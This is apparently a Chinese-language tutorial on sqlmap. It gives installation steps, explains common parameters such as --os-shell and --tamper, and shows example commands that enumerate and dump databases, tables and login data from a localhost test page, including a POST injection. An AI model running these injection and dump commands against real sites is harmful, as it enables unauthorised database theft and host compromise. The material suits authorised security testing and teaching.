一、安装sqlmap
浏览器访问SQLmap官网 即可下载工具;需要说明的是,SQLmap运行依赖于python环境,所以在下载使用前务必在电脑及终端上安装好python环境。
通过网盘分享的文件:sqlmap-master.zip
链接: https://pan.baidu.com/s/1YZiETm_zloxXcR1kf-0utw 提取码: j9wf
二、常用参数说明
详细参数:https://github.com/sqlmapproject/sqlmap/wiki/Usage
-u 指定目标URL (可以是http协议也可以是https协议)(--url="地址")
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
--data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级(1-5)
--risk 风险等级(1-3)
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
--flush-session 刷新session文件缓存结果
--hostname 检索数据库管理系统的主机名
--users 当会话用户具有对包含DBMS用户信息的系统表的读取权限时,可以枚举用户列表
三、简单示例
1、获取数据库
python sqlmap.py --url="http://localhost/test/test.php?id=12" --dbs --flush-session

2、获取所有的表
python sqlmap.py --url="http://localhost/test/test.php?id=12" -D test --tables --flush-session

3、获取表字段
python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --columns --flush-session

4、获取表数据
python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --dump --flush-session

5、post提交注入
指定mysql数据库
python sqlmap.py --url="http://localhost/test/test2.php" --dbs --data="username=yy&password=123" --method="post" --flush-session --dbms=mysql
